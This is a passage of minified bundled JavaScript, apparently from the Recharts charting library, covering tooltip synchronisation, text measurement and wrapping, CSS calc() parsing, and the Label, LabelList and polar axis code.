e=je(_0),t=je(A0),n=ot(),r=je(W4),i=je(Zr),s=ws(),o=Ud(),l=je(c=>c.rootProps.className);m.useEffect(()=>{if(e==null)return bs;var c=(u,d,f)=>{if(t!==f&&e===u){if(r==="index"){var p;if(o&&d!==null&&d!==void 0&&(p=d.payload)!==null&&p!==void 0&&p.coordinate&&d.payload.sourceViewBox){var h=d.payload.coordinate,{x,y:g}=h,y=k9(h,b9),{x:v,y:b,width:w,height:j}=d.payload.sourceViewBox,N=Sa(Sa({},y),{},{x:o.x+(w?(x-v)/w:0)*o.width,y:o.y+(j?(g-b)/j:0)*o.height});n(Sa(Sa({},d),{},{payload:Sa(Sa({},d.payload),{},{coordinate:N})}))}else n(d);return}if(i!=null){var k;if(typeof r=="function"){var z={activeTooltipIndex:d.payload.index==null?void 0:Number(d.payload.index),isTooltipActive:d.payload.active,activeIndex:d.payload.index==null?void 0:Number(d.payload.index),activeLabel:d.payload.label,activeDataKey:d.payload.dataKey,activeCoordinate:d.payload.coordinate},S=r(i,z);k=i[S]}else r==="value"&&(k=i.find(K=>String(K.value)===d.payload.label));var{coordinate:O}=d.payload;if(k==null||d.payload.active===!1||O==null||o==null){n(yh({active:!1,coordinate:void 0,dataKey:void 0,index:null,label:void 0,sourceViewBox:void 0,graphicalItemId:void 0}));return}var{x:A,y:T}=O,P=Math.min(A,o.x+o.width),D=Math.min(T,o.y+o.height),G={x:s==="horizontal"?k.coordinate:P,y:s==="horizontal"?D:k.coordinate},R=yh({active:d.payload.active,coordinate:G,dataKey:d.payload.dataKey,index:String(k.index),label:d.payload.label,sourceViewBox:d.payload.sourceViewBox,graphicalItemId:d.payload.graphicalItemId});n(R)}}};return Qo.on(jh,c),()=>{Qo.off(jh,c)}},[l,n,t,e,r,i,s,o])}function C9(){var e=je(_0),t=je(A0),n=ot();m.useEffect(()=>{if(e==null)return bs;var r=(i,s,o)=>{t!==o&&e===i&&n(g9(s))};return Qo.on(I2,r),()=>{Qo.off(I2,r)}},[n,t,e])}function P9(){var e=ot();m.useEffect(()=>{e(h9())},[e]),S9(),C9()}function E9(e,t,n,r,i,s){var o=je(h=>DR(h,e,t)),l=je(A0),c=je(_0),u=je(W4),d=je(x9),f=d==null?void 0:d.active,p=Ud();m.useEffect(()=>{if(!f&&c!=null&&l!=null){var h=yh({active:s,coordinate:n,dataKey:o,index:i,label:typeof r=="number"?String(r):r,sourceViewBox:p,graphicalItemId:void 0});Qo.emit(jh,c,h,l)}},[f,n,o,i,r,l,c,u,s,p])}function $2(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function B2(e){for(var t=1;t<arguments.length;t++){var n=arguments[t]!=null?arguments[t]:{};t%2?$2(Object(n),!0).forEach(function(r){_9(e,r,n[r])}):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):$2(Object(n)).forEach(function(r){Object.defineProperty(e,r,Object.getOwnPropertyDescriptor(n,r))})}return e}function _9(e,t,n){return(t=A9(t))in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function A9(e){var t=O9(e,"string");return typeof t=="symbol"?t:t+""}function O9(e,t){if(typeof e!="object"||!e)return e;var n=e[Symbol.toPrimitive];if(n!==void 0){var r=n.call(e,t);if(typeof r!="object")return r;throw new TypeError("@@toPrimitive must return a primitive value.")}return(t==="string"?String:Number)(e)}function T9(e){return e.dataKey}function M9(e,t){return m.isValidElement(e)?m.cloneElement(e,t):typeof e=="function"?m.createElement(e,t):m.createElement(NM,t)}var F2=[],L9={allowEscapeViewBox:{x:!1,y:!1},animationDuration:400,animationEasing:"ease",axisId:0,contentStyle:{},cursor:!0,filterNull:!0,includeHidden:!1,isAnimationActive:"auto",itemSorter:"name",itemStyle:{},labelStyle:{},offset:10,reverseDirection:{x:!1,y:!1},separator:" : ",trigger:"hover",useTranslate3d:!1,wrapperStyle:{}};function W2(e){var t,n,r=gn(e,L9),{active:i,allowEscapeViewBox:s,animationDuration:o,animationEasing:l,content:c,filterNull:u,isAnimationActive:d,offset:f,payloadUniqBy:p,position:h,reverseDirection:x,useTranslate3d:g,wrapperStyle:y,cursor:v,shared:b,trigger:w,defaultIndex:j,portal:N,axisId:k}=r,z=ot(),S=typeof j=="number"?String(j):j;m.useEffect(()=>{z(OD({shared:b,trigger:w,axisId:k,active:i,defaultIndex:S}))},[z,b,w,k,i,S]);var O=Ud(),A=Ik(),T=SD(b),{activeIndex:P,isActive:D}=(t=je(q=>BR(q,T,w,S)))!==null&&t!==void 0?t:{},G=je(q=>$R(q,T,w,S)),R=je(q=>Y3(q,T,w,S)),K=je(q=>RR(q,T,w,S)),_=G,M=u9(),F=(n=i??D)!==null&&n!==void 0?n:!1,[U,V]=hO([_,F]),Z=T==="axis"?R:void 0;E9(T,w,K,Z,P,F);var ae=N??M;if(ae==null||O==null||T==null)return null;var ue=_??F2;F||(ue=F2),u&&ue.length&&(ue=TA(ue.filter(q=>q.value!=null&&(q.hide!==!0||r.includeHidden)),p,T9));var be=ue.length>0,ye=m.createElement(_M,{allowEscapeViewBox:s,animationDuration:o,animationEasing:l,isAnimationActive:d,active:F,coordinate:K,hasPayload:be,offset:f,position:h,reverseDirection:x,useTranslate3d:g,viewBox:O,wrapperStyle:y,lastBoundingBox:U,innerRef:V,hasPortalFromProps:!!N},M9(c,B2(B2({},r),{},{payload:ue,label:Z,active:F,activeIndex:P,coordinate:K,accessibilityLayer:A})));return m.createElement(m.Fragment,null,Nx.createPortal(ye,ae),F&&m.createElement(c9,{cursor:v,tooltipEventType:T,coordinate:K,payload:ue,index:P}))}var mf=e=>null;mf.displayName="Cell";function I9(e,t,n){return(t=D9(t))in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function D9(e){var t=R9(e,"string");return typeof t=="symbol"?t:t+""}function R9(e,t){if(typeof e!="object"||!e)return e;var n=e[Symbol.toPrimitive];if(n!==void 0){var r=n.call(e,t);if(typeof r!="object")return r;throw new TypeError("@@toPrimitive must return a primitive value.")}return(t==="string"?String:Number)(e)}class $9{constructor(t){I9(this,"cache",new Map),this.maxSize=t}get(t){var n=this.cache.get(t);return n!==void 0&&(this.cache.delete(t),this.cache.set(t,n)),n}set(t,n){if(this.cache.has(t))this.cache.delete(t);else if(this.cache.size>=this.maxSize){var r=this.cache.keys().next().value;r!=null&&this.cache.delete(r)}this.cache.set(t,n)}clear(){this.cache.clear()}size(){return this.cache.size}}function U2(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function B9(e){for(var t=1;t<arguments.length;t++){var n=arguments[t]!=null?arguments[t]:{};t%2?U2(Object(n),!0).forEach(function(r){F9(e,r,n[r])}):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):U2(Object(n)).forEach(function(r){Object.defineProperty(e,r,Object.getOwnPropertyDescriptor(n,r))})}return e}function F9(e,t,n){return(t=W9(t))in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function W9(e){var t=U9(e,"string");return typeof t=="symbol"?t:t+""}function U9(e,t){if(typeof e!="object"||!e)return e;var n=e[Symbol.toPrimitive];if(n!==void 0){var r=n.call(e,t);if(typeof r!="object")return r;throw new TypeError("@@toPrimitive must return a primitive value.")}return(t==="string"?String:Number)(e)}var V9={cacheSize:2e3,enableCache:!0},tz=B9({},V9),V2=new $9(tz.cacheSize),H9={position:"absolute",top:"-20000px",left:0,padding:0,margin:0,border:"none",whiteSpace:"pre"},H2="recharts_measurement_span";function K9(e,t){var n=t.fontSize||"",r=t.fontFamily||"",i=t.fontWeight||"",s=t.fontStyle||"",o=t.letterSpacing||"",l=t.textTransform||"";return"".concat(e,"|").concat(n,"|").concat(r,"|").concat(i,"|").concat(s,"|").concat(o,"|").concat(l)}var K2=(e,t)=>{try{var n=document.getElementById(H2);n||(n=document.createElement("span"),n.setAttribute("id",H2),n.setAttribute("aria-hidden","true"),document.body.appendChild(n)),Object.assign(n.style,H9,t),n.textContent="".concat(e);var r=n.getBoundingClientRect();return{width:r.width,height:r.height}}catch{return{width:0,height:0}}},G2=function(t){var n=arguments.length>1&&arguments[1]!==void 0?arguments[1]:{};if(t==null||Gd.isSsr)return{width:0,height:0};if(!tz.enableCache)return K2(t,n);var r=K9(t,n),i=V2.get(r);if(i)return i;var s=K2(t,n);return V2.set(r,s),s},nz;function G9(e,t,n){return(t=Y9(t))in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function Y9(e){var t=q9(e,"string");return typeof t=="symbol"?t:t+""}function q9(e,t){if(typeof e!="object"||!e)return e;var n=e[Symbol.toPrimitive];if(n!==void 0){var r=n.call(e,t);if(typeof r!="object")return r;throw new TypeError("@@toPrimitive must return a primitive value.")}return(t==="string"?String:Number)(e)}var Y2=/(-?\d+(?:\.\d+)?[a-zA-Z%]*)([*/])(-?\d+(?:\.\d+)?[a-zA-Z%]*)/,q2=/(-?\d+(?:\.\d+)?[a-zA-Z%]*)([+-])(-?\d+(?:\.\d+)?[a-zA-Z%]*)/,X9=/^px|cm|vh|vw|em|rem|%|mm|in|pt|pc|ex|ch|vmin|vmax|Q$/,Z9=/(-?\d+(?:\.\d+)?)([a-zA-Z%]+)?/,Q9={cm:96/2.54,mm:96/25.4,pt:96/72,pc:96/6,in:96,Q:96/(2.54*40),px:1},J9=["cm","mm","pt","pc","in","Q","px"];function e$(e){return J9.includes(e)}var Ua="NaN";function t$(e,t){return e*Q9[t]}class _t{static parse(t){var n,[,r,i]=(n=Z9.exec(t))!==null&&n!==void 0?n:[];return r==null?_t.NaN:new _t(parseFloat(r),i??"")}constructor(t,n){this.num=t,this.unit=n,this.num=t,this.unit=n,mr(t)&&(this.unit=""),n!==""&&!X9.test(n)&&(this.num=NaN,this.unit=""),e$(n)&&(this.num=t$(t,n),this.unit="px")}add(t){return this.unit!==t.unit?new _t(NaN,""):new _t(this.num+t.num,this.unit)}subtract(t){return this.unit!==t.unit?new _t(NaN,""):new _t(this.num-t.num,this.unit)}multiply(t){return this.unit!==""&&t.unit!==""&&this.unit!==t.unit?new _t(NaN,""):new _t(this.num*t.num,this.unit||t.unit)}divide(t){return this.unit!==""&&t.unit!==""&&this.unit!==t.unit?new _t(NaN,""):new _t(this.num/t.num,this.unit||t.unit)}toString(){return"".concat(this.num).concat(this.unit)}isNaN(){return mr(this.num)}}nz=_t;G9(_t,"NaN",new nz(NaN,""));function rz(e){if(e==null||e.includes(Ua))return Ua;for(var t=e;t.includes("*")||t.includes("/");){var n,[,r,i,s]=(n=Y2.exec(t))!==null&&n!==void 0?n:[],o=_t.parse(r??""),l=_t.parse(s??""),c=i==="*"?o.multiply(l):o.divide(l);if(c.isNaN())return Ua;t=t.replace(Y2,c.toString())}for(;t.includes("+")||/.-\d+(?:\.\d+)?/.test(t);){var u,[,d,f,p]=(u=q2.exec(t))!==null&&u!==void 0?u:[],h=_t.parse(d??""),x=_t.parse(p??""),g=f==="+"?h.add(x):h.subtract(x);if(g.isNaN())return Ua;t=t.replace(q2,g.toString())}return t}var X2=/\(([^()]*)\)/;function n$(e){for(var t=e,n;(n=X2.exec(t))!=null;){var[,r]=n;t=t.replace(X2,rz(r))}return t}function r$(e){var t=e.replace(/\s+/g,"");return t=n$(t),t=rz(t),t}function i$(e){try{return r$(e)}catch{return Ua}}function Nm(e){var t=i$(e.slice(5,-1));return t===Ua?"":t}var a$=["x","y","lineHeight","capHeight","fill","scaleToFit","textAnchor","verticalAnchor"],s$=["dx","dy","angle","className","breakAll"];function Nh(){return Nh=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)({}).hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e},Nh.apply(null,arguments)}function Z2(e,t){if(e==null)return{};var n,r,i=o$(e,t);if(Object.getOwnPropertySymbols){var s=Object.getOwnPropertySymbols(e);for(r=0;r<s.length;r++)n=s[r],t.indexOf(n)===-1&&{}.propertyIsEnumerable.call(e,n)&&(i[n]=e[n])}return i}function o$(e,t){if(e==null)return{};var n={};for(var r in e)if({}.hasOwnProperty.call(e,r)){if(t.indexOf(r)!==-1)continue;n[r]=e[r]}return n}var iz=/[ \f\n\r\t\v\u2028\u2029]+/,az=e=>{var{children:t,breakAll:n,style:r}=e;try{var i=[];Mt(t)||(n?i=t.toString().split(""):i=t.toString().split(iz));var s=i.map(l=>({word:l,width:G2(l,r).width})),o=n?0:G2(" ",r).width;return{wordsWithComputedWidth:s,spaceWidth:o}}catch{return null}};function l$(e){return e==="start"||e==="middle"||e==="end"||e==="inherit"}var sz=(e,t,n,r)=>e.reduce((i,s)=>{var{word:o,width:l}=s,c=i[i.length-1];if(c&&l!=null&&(t==null||r||c.width+l+n<Number(t)))c.words.push(o),c.width+=l+n;else{var u={words:[o],width:l};i.push(u)}return i},[]),oz=e=>e.reduce((t,n)=>t.width>n.width?t:n),c$="…",Q2=(e,t,n,r,i,s,o,l)=>{var c=e.slice(0,t),u=az({breakAll:n,style:r,children:c+c$});if(!u)return[!1,[]];var d=sz(u.wordsWithComputedWidth,s,o,l),f=d.length>i||oz(d).width>Number(s);return[f,d]},u$=(e,t,n,r,i)=>{var{maxLines:s,children:o,style:l,breakAll:c}=e,u=ge(s),d=String(o),f=sz(t,r,n,i);if(!u||i)return f;var p=f.length>s||oz(f).width>Number(r);if(!p)return f;for(var h=0,x=d.length-1,g=0,y;h<=x&&g<=d.length-1;){var v=Math.floor((h+x)/2),b=v-1,[w,j]=Q2(d,b,c,l,s,r,n,i),[N]=Q2(d,v,c,l,s,r,n,i);if(!w&&!N&&(h=v+1),w&&N&&(x=v-1),!w&&N){y=j;break}g++}return y||f},J2=e=>{var t=Mt(e)?[]:e.toString().split(iz);return[{words:t,width:void 0}]},d$=e=>{var{width:t,scaleToFit:n,children:r,style:i,breakAll:s,maxLines:o}=e;if((t||n)&&!Gd.isSsr){var l,c,u=az({breakAll:s,children:r,style:i});if(u){var{wordsWithComputedWidth:d,spaceWidth:f}=u;l=d,c=f}else return J2(r);return u$({breakAll:s,children:r,maxLines:o,style:i},l,c,t,!!n)}return J2(r)},lz="#808080",f$={angle:0,breakAll:!1,capHeight:"0.71em",fill:lz,lineHeight:"1em",scaleToFit:!1,textAnchor:"start",verticalAnchor:"end",x:0,y:0},mv=m.forwardRef((e,t)=>{var n=gn(e,f$),{x:r,y:i,lineHeight:s,capHeight:o,fill:l,scaleToFit:c,textAnchor:u,verticalAnchor:d}=n,f=Z2(n,a$),p=m.useMemo(()=>d$({breakAll:f.breakAll,children:f.children,maxLines:f.maxLines,scaleToFit:c,style:f.style,width:f.width}),[f.breakAll,f.children,f.maxLines,c,f.style,f.width]),{dx:h,dy:x,angle:g,className:y,breakAll:v}=f,b=Z2(f,s$);if(!Lr(r)||!Lr(i)||p.length===0)return null;var w=Number(r)+(ge(h)?h:0),j=Number(i)+(ge(x)?x:0);if(!Ee(w)||!Ee(j))return null;var N;switch(d){case"start":N=Nm("calc(".concat(o,")"));break;case"middle":N=Nm("calc(".concat((p.length-1)/2," * -").concat(s," + (").concat(o," / 2))"));break;default:N=Nm("calc(".concat(p.length-1," * -").concat(s,")"));break}var k=[],z=p[0];if(c&&z!=null){var S=z.width,{width:O}=f;k.push("scale(".concat(ge(O)&&ge(S)?O/S:1,")"))}return g&&k.push("rotate(".concat(g,", ").concat(w,", ").concat(j,")")),k.length&&(b.transform=k.join(" ")),m.createElement("text",Nh({},Ut(b),{ref:t,x:w,y:j,className:Qe("recharts-text",y),textAnchor:u,fill:l.includes("url")?lz:l}),p.map((A,T)=>{var P=A.words.join(v?"":" ");return m.createElement("tspan",{x:w,dy:T===0?N:s,key:"".concat(P,"-").concat(T)},P)}))});mv.displayName="Text";function eb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function rr(e){for(var t=1;t<arguments.length;t++){var n=arguments[t]!=null?arguments[t]:{};t%2?eb(Object(n),!0).forEach(function(r){m$(e,r,n[r])}):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):eb(Object(n)).forEach(function(r){Object.defineProperty(e,r,Object.getOwnPropertyDescriptor(n,r))})}return e}function m$(e,t,n){return(t=p$(t))in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function p$(e){var t=h$(e,"string");return typeof t=="symbol"?t:t+""}function h$(e,t){if(typeof e!="object"||!e)return e;var n=e[Symbol.toPrimitive];if(n!==void 0){var r=n.call(e,t);if(typeof r!="object")return r;throw new TypeError("@@toPrimitive must return a primitive value.")}return(t==="string"?String:Number)(e)}var x$=e=>{var{viewBox:t,position:n,offset:r=0,parentViewBox:i}=e,{x:s,y:o,height:l,upperWidth:c,lowerWidth:u}=t0(t),d=s,f=s+(c-u)/2,p=(d+f)/2,h=(c+u)/2,x=d+c/2,g=l>=0?1:-1,y=g*r,v=g>0?"end":"start",b=g>0?"start":"end",w=c>=0?1:-1,j=w*r,N=w>0?"end":"start",k=w>0?"start":"end",z=i;if(n==="top"){var S={x:d+c/2,y:o-y,horizontalAnchor:"middle",verticalAnchor:v};return z&&(S.height=Math.max(o-z.y,0),S.width=c),S}if(n==="bottom"){var O={x:f+u/2,y:o+l+y,horizontalAnchor:"middle",verticalAnchor:b};return z&&(O.height=Math.max(z.y+z.height-(o+l),0),O.width=u),O}if(n==="left"){var A={x:p-j,y:o+l/2,horizontalAnchor:N,verticalAnchor:"middle"};return z&&(A.width=Math.max(A.x-z.x,0),A.height=l),A}if(n==="right"){var T={x:p+h+j,y:o+l/2,horizontalAnchor:k,verticalAnchor:"middle"};return z&&(T.width=Math.max(z.x+z.width-T.x,0),T.height=l),T}var P=z?{width:h,height:l}:{};return n==="insideLeft"?rr({x:p+j,y:o+l/2,horizontalAnchor:k,verticalAnchor:"middle"},P):n==="insideRight"?rr({x:p+h-j,y:o+l/2,horizontalAnchor:N,verticalAnchor:"middle"},P):n==="insideTop"?rr({x:d+c/2,y:o+y,horizontalAnchor:"middle",verticalAnchor:b},P):n==="insideBottom"?rr({x:f+u/2,y:o+l-y,horizontalAnchor:"middle",verticalAnchor:v},P):n==="insideTopLeft"?rr({x:d+j,y:o+y,horizontalAnchor:k,verticalAnchor:b},P):n==="insideTopRight"?rr({x:d+c-j,y:o+y,horizontalAnchor:N,verticalAnchor:b},P):n==="insideBottomLeft"?rr({x:f+j,y:o+l-y,horizontalAnchor:k,verticalAnchor:v},P):n==="insideBottomRight"?rr({x:f+u-j,y:o+l-y,horizontalAnchor:N,verticalAnchor:v},P):n&&typeof n=="object"&&(ge(n.x)||da(n.x))&&(ge(n.y)||da(n.y))?rr({x:s+fn(n.x,h),y:o+fn(n.y,l),horizontalAnchor:"end",verticalAnchor:"end"},P):rr({x,y:o+l/2,horizontalAnchor:"middle",verticalAnchor:"middle"},P)},v$=["labelRef"],g$=["content"];function tb(e,t){if(e==null)return{};var n,r,i=y$(e,t);if(Object.getOwnPropertySymbols){var s=Object.getOwnPropertySymbols(e);for(r=0;r<s.length;r++)n=s[r],t.indexOf(n)===-1&&{}.propertyIsEnumerable.call(e,n)&&(i[n]=e[n])}return i}function y$(e,t){if(e==null)return{};var n={};for(var r in e)if({}.hasOwnProperty.call(e,r)){if(t.indexOf(r)!==-1)continue;n[r]=e[r]}return n}function nb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function nc(e){for(var t=1;t<arguments.length;t++){var n=arguments[t]!=null?arguments[t]:{};t%2?nb(Object(n),!0).forEach(function(r){b$(e,r,n[r])}):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):nb(Object(n)).forEach(function(r){Object.defineProperty(e,r,Object.getOwnPropertyDescriptor(n,r))})}return e}function b$(e,t,n){return(t=w$(t))in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function w$(e){var t=j$(e,"string");return typeof t=="symbol"?t:t+""}function j$(e,t){if(typeof e!="object"||!e)return e;var n=e[Symbol.toPrimitive];if(n!==void 0){var r=n.call(e,t);if(typeof r!="object")return r;throw new TypeError("@@toPrimitive must return a primitive value.")}return(t==="string"?String:Number)(e)}function Bu(){return Bu=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)({}).hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e},Bu.apply(null,arguments)}var N$=m.createContext(null),k$=()=>{var e=m.useContext(N$),t=Ud();return e||(t?t0(t):void 0)},z$=m.createContext(null),S$=()=>{var e=m.useContext(z$),t=je(Y4);return e||t},C$=e=>{var{value:t,formatter:n}=e,r=Mt(e.children)?t:e.children;return typeof n=="function"?n(r):r},P$=e=>e!=null&&typeof e=="function",E$=(e,t)=>{var n=qt(t-e),r=Math.min(Math.abs(t-e),360);return n*r},_$=(e,t,n,r,i)=>{var{offset:s,className:o}=e,{cx:l,cy:c,innerRadius:u,outerRadius:d,startAngle:f,endAngle:p,clockWise:h}=i,x=(u+d)/2,g=E$(f,p),y=g>=0?1:-1,v,b;switch(t){case"insideStart":v=f+y*s,b=h;break;case"insideEnd":v=p-y*s,b=!h;break;case"end":v=p+y*s,b=h;break;default:throw new Error("Unsupported position ".concat(t))}b=g<=0?b:!b;var w=dt(l,c,x,v),j=dt(l,c,x,v+(b?1:-1)*359),N="M".concat(w.x,",").concat(w.y,`
|
||
A`).concat(x,",").concat(x,",0,1,").concat(b?0:1,`,
|
||
`).concat(j.x,",").concat(j.y),k=Mt(e.id)?$o("recharts-radial-line-"):e.id;return m.createElement("text",Bu({},r,{dominantBaseline:"central",className:Qe("recharts-radial-bar-label",o)}),m.createElement("defs",null,m.createElement("path",{id:k,d:N})),m.createElement("textPath",{xlinkHref:"#".concat(k)},n))},A$=(e,t,n)=>{var{cx:r,cy:i,innerRadius:s,outerRadius:o,startAngle:l,endAngle:c}=e,u=(l+c)/2;if(n==="outside"){var{x:d,y:f}=dt(r,i,o+t,u);return{x:d,y:f,textAnchor:d>=r?"start":"end",verticalAnchor:"middle"}}if(n==="center")return{x:r,y:i,textAnchor:"middle",verticalAnchor:"middle"};if(n==="centerTop")return{x:r,y:i,textAnchor:"middle",verticalAnchor:"start"};if(n==="centerBottom")return{x:r,y:i,textAnchor:"middle",verticalAnchor:"end"};var p=(s+o)/2,{x:h,y:x}=dt(r,i,p,u);return{x:h,y:x,textAnchor:"middle",verticalAnchor:"middle"}},Sc=e=>e!=null&&"cx"in e&&ge(e.cx),O$={angle:0,offset:5,zIndex:Zt.label,position:"middle",textBreakAll:!1};function T$(e){if(!Sc(e))return e;var{cx:t,cy:n,outerRadius:r}=e,i=r*2;return{x:t-r,y:n-r,width:i,upperWidth:i,lowerWidth:i,height:i}}function cz(e){var t=gn(e,O$),{viewBox:n,parentViewBox:r,position:i,value:s,children:o,content:l,className:c="",textBreakAll:u,labelRef:d}=t,f=S$(),p=k$(),h=i==="center"?p:f??p,x,g,y;n==null?x=h:Sc(n)?x=n:x=t0(n);var v=T$(x);if(!x||Mt(s)&&Mt(o)&&!m.isValidElement(l)&&typeof l!="function")return null;var b=nc(nc({},t),{},{viewBox:x});if(m.isValidElement(l)){var{labelRef:w}=b,j=tb(b,v$);return m.cloneElement(l,j)}if(typeof l=="function"){var{content:N}=b,k=tb(b,g$);if(g=m.createElement(l,k),m.isValidElement(g))return g}else g=C$(t);var z=Ut(t);if(Sc(x)){if(i==="insideStart"||i==="insideEnd"||i==="end")return _$(t,i,g,z,x);y=A$(x,t.offset,t.position)}else{if(!v)return null;var S=x$({viewBox:v,position:i,offset:t.offset,parentViewBox:Sc(r)?void 0:r});y=nc(nc({x:S.x,y:S.y,textAnchor:S.horizontalAnchor,verticalAnchor:S.verticalAnchor},S.width!==void 0?{width:S.width}:{}),S.height!==void 0?{height:S.height}:{})}return m.createElement(Mi,{zIndex:t.zIndex},m.createElement(mv,Bu({ref:d,className:Qe("recharts-label",c)},z,y,{textAnchor:l$(z.textAnchor)?z.textAnchor:y.textAnchor,breakAll:u}),g))}cz.displayName="Label";var uz={},dz={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return n[n.length-1]}e.last=t})(dz);var fz={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return Array.isArray(n)?n:Array.from(n)}e.toArray=t})(fz);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=dz,n=fz,r=zd;function i(s){if(r.isArrayLike(s))return t.last(n.toArray(s))}e.last=i})(uz);var M$=uz.last;const L$=Wr(M$);var I$=["valueAccessor"],D$=["dataKey","clockWise","id","textBreakAll","zIndex"];function Fu(){return Fu=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)({}).hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e},Fu.apply(null,arguments)}function rb(e,t){if(e==null)return{};var n,r,i=R$(e,t);if(Object.getOwnPropertySymbols){var s=Object.getOwnPropertySymbols(e);for(r=0;r<s.length;r++)n=s[r],t.indexOf(n)===-1&&{}.propertyIsEnumerable.call(e,n)&&(i[n]=e[n])}return i}function R$(e,t){if(e==null)return{};var n={};for(var r in e)if({}.hasOwnProperty.call(e,r)){if(t.indexOf(r)!==-1)continue;n[r]=e[r]}return n}var $$=e=>Array.isArray(e.value)?L$(e.value):e.value,mz=m.createContext(void 0),B$=mz.Provider,pz=m.createContext(void 0),F$=pz.Provider;function W$(){return m.useContext(mz)}function U$(){return m.useContext(pz)}function Cc(e){var{valueAccessor:t=$$}=e,n=rb(e,I$),{dataKey:r,clockWise:i,id:s,textBreakAll:o,zIndex:l}=n,c=rb(n,D$),u=W$(),d=U$(),f=u||d;return!f||!f.length?null:m.createElement(Mi,{zIndex:l??Zt.label},m.createElement(tn,{className:"recharts-label-list"},f.map((p,h)=>{var x,g=Mt(r)?t(p,h):Ve(p.payload,r),y=Mt(s)?{}:{id:"".concat(s,"-").concat(h)};return m.createElement(cz,Fu({key:"label-".concat(h)},Ut(p),c,y,{fill:(x=n.fill)!==null&&x!==void 0?x:p.fill,parentViewBox:p.parentViewBox,value:g,textBreakAll:o,viewBox:p.viewBox,index:h,zIndex:0}))})))}Cc.displayName="LabelList";function hz(e){var{label:t}=e;return t?t===!0?m.createElement(Cc,{key:"labelList-implicit"}):m.isValidElement(t)||P$(t)?m.createElement(Cc,{key:"labelList-implicit",content:t}):typeof t=="object"?m.createElement(Cc,Fu({key:"labelList-implicit"},t,{type:String(t.type)})):null:null}function kh(){return kh=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)({}).hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e},kh.apply(null,arguments)}var xz=e=>{var{cx:t,cy:n,r,className:i}=e,s=Qe("recharts-dot",i);return ge(t)&&ge(n)&&ge(r)?m.createElement("circle",kh({},Mr(e),Ix(e),{className:s,cx:t,cy:n,r})):null},vz=e=>e.graphicalItems.polarItems,V$=I([Je,vl],R0),pf=I([vz,it,V$],$0),H$=I([pf],B0),hf=I([H$,nf],F0),K$=I([hf,it,pf],U0);I([hf,it,pf],(e,t,n)=>n.length>0?e.flatMap(r=>n.flatMap(i=>{var s,o=Ve(r,(s=t.dataKey)!==null&&s!==void 0?s:i.dataKey);return{value:o,errorDomain:[]}})).filter(Boolean):(t==null?void 0:t.dataKey)!=null?e.map(r=>({value:Ve(r,t.dataKey),errorDomain:[]})):e.map(r=>({value:r,errorDomain:[]})));var ib=()=>{},G$=I([hf,it,pf,cf,Je],G0),Y$=I([it,H0,K0,ib,G$,ib,De,Je],Y0),gz=I([it,De,hf,K$,xl,Je,Y$],q0),q$=I([gz,Ss,Ti],Q0),X$=I([it,gz,q$,Je],ev);I([Ti,X$],X4);var Z$={radiusAxis:{},angleAxis:{}},yz=nn({name:"polarAxis",initialState:Z$,reducers:{addRadiusAxis(e,t){e.radiusAxis[t.payload.id]=t.payload},removeRadiusAxis(e,t){delete e.radiusAxis[t.payload.id]},addAngleAxis(e,t){e.angleAxis[t.payload.id]=t.payload},removeAngleAxis(e,t){delete e.angleAxis[t.payload.id]}}}),{addRadiusAxis:aH,removeRadiusAxis:sH,addAngleAxis:oH,removeAngleAxis:lH}=yz.actions,Q$=yz.reducer;function J$(e){return e&&typeof e=="object"&&"className"in e&&typeof e.className=="string"?e.className:""}function ab(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function sb(e){for(var t=1;t<arguments.length;t++){var 